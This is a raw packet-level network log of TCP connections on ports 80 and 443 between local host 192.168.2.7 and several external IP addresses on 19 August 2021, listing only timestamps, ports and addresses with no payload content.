Aug 19, 2021 07:53:51.912777901 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.912779093 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912806988 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912818909 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.912828922 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912844896 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912857056 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.912868023 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.912909031 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.912939072 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913322926 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913356066 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913377047 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913405895 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913417101 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913429022 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913453102 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913472891 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913475037 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913496017 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913513899 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913532972 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913554907 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913564920 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913578033 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913589001 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913600922 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913625002 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913626909 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913650036 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913672924 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913683891 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913696051 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913716078 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913719893 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913743019 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913765907 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913788080 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913800955 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913813114 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913832903 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913855076 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913866043 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913878918 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913902044 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913923025 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913924932 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913947105 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.913964987 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.913969994 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.914016008 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.914035082 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.914060116 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.914083004 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.914083958 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.914124012 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.914150953 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.914150953 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.914199114 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.948153019 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948183060 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948195934 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948210955 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948226929 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948239088 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948251009 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948270082 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948287010 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948302031 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.948427916 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.948491096 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949163914 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949187040 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949203014 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949218035 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949233055 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949251890 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949269056 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949274063 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949284077 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949301004 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949316025 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949330091 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949331999 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949347973 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949362993 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949362993 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949382067 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949389935 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949399948 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949414968 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949414968 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949430943 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949445963 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949460983 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949476957 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949477911 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949491978 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949511051 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949518919 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949527979 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949543953 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949549913 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949558973 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949573994 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949589014 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949604034 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949604988 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949619055 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949637890 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949645042 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949654102 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949668884 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949680090 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949683905 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949700117 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.949707031 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.949742079 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.957767963 CEST	80	49751	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:51.983608007 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983644009 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983665943 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983706951 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983741045 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983747005 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.983767986 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983789921 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983808041 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.983809948 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983829021 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983848095 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983859062 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.983866930 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983886003 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983894110 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.983906031 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983925104 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.983926058 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.983984947 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.984627962 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984661102 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984683990 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984704971 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984730005 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984730959 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.984752893 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984780073 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984803915 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984818935 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.984824896 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984860897 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.984877110 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984899998 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984910965 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.984935999 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984946966 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.984961033 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984982967 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.984986067 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985004902 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985024929 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985027075 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985047102 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985068083 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985070944 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985090017 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985112906 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985135078 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985137939 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985160112 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985176086 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985181093 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985200882 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985203981 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985224962 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985248089 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985251904 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985270023 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985294104 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985301018 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985318899 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985327005 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985342026 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985363960 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985385895 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985397100 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985407114 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985428095 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:51.985429049 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:51.985475063 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.016520977 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016562939 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016587973 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016612053 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016634941 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016655922 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016671896 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.016681910 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016705036 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016717911 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.016727924 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016752958 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016772985 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.016772985 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016793966 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016796112 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.016810894 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016827106 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.016866922 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.016905069 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.017951965 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.017976999 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.017992973 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018009901 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018029928 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018049002 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018064976 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018081903 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018098116 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018114090 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018126965 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.018131971 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018148899 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018158913 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.018168926 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018187046 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018203020 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018218040 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018224001 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.018229008 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018241882 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018246889 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.018260002 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018271923 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.018276930 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018292904 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018295050 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.018307924 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018331051 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018333912 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.018348932 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018364906 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:52.018366098 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.018398046 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.176636934 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:52.968580008 CEST	49754	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:53.024509907 CEST	80	49754	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:53.024728060 CEST	49754	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:53.024908066 CEST	49754	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:53.024933100 CEST	49754	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:53.080471039 CEST	80	49754	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:53.160948038 CEST	80	49754	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:53.160976887 CEST	80	49754	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:53.161206961 CEST	49754	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:53.170672894 CEST	49754	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:53.227284908 CEST	80	49754	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:53.257405043 CEST	49755	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:53.533443928 CEST	80	49755	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:53.535912991 CEST	49755	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:53.536964893 CEST	49755	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:53.536986113 CEST	49755	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:53.821902990 CEST	80	49755	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:54.769658089 CEST	80	49755	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:54.769867897 CEST	49755	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:54.770009995 CEST	80	49755	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:54.770103931 CEST	49755	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:54.877496004 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:54.930314064 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:54.930532932 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:54.933618069 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:54.986521006 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:54.986749887 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:54.986773968 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:54.986789942 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:54.986804962 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:54.986865997 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:54.986913919 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:54.990923882 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.000004053 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.044595003 CEST	80	49755	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:55.053688049 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.070230961 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.125361919 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125401020 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125422955 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125443935 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125454903 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.125462055 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125478983 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125502110 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125509977 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.125528097 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125541925 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.125550032 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125582933 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.125935078 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.125989914 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.178376913 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179423094 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179459095 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179483891 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179507017 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179511070 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.179532051 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179558039 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179579973 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179594040 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.179599047 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179621935 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179621935 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.179647923 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179671049 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179687977 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.179718971 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.179721117 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179744005 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179765940 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179789066 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179790020 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.179857016 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.179894924 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179938078 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179960966 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.179984093 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.180015087 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.180036068 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.232749939 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.232790947 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.232860088 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233045101 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233073950 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233097076 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233124018 CEST	443	49756	217.107.34.191	192.168.2.7
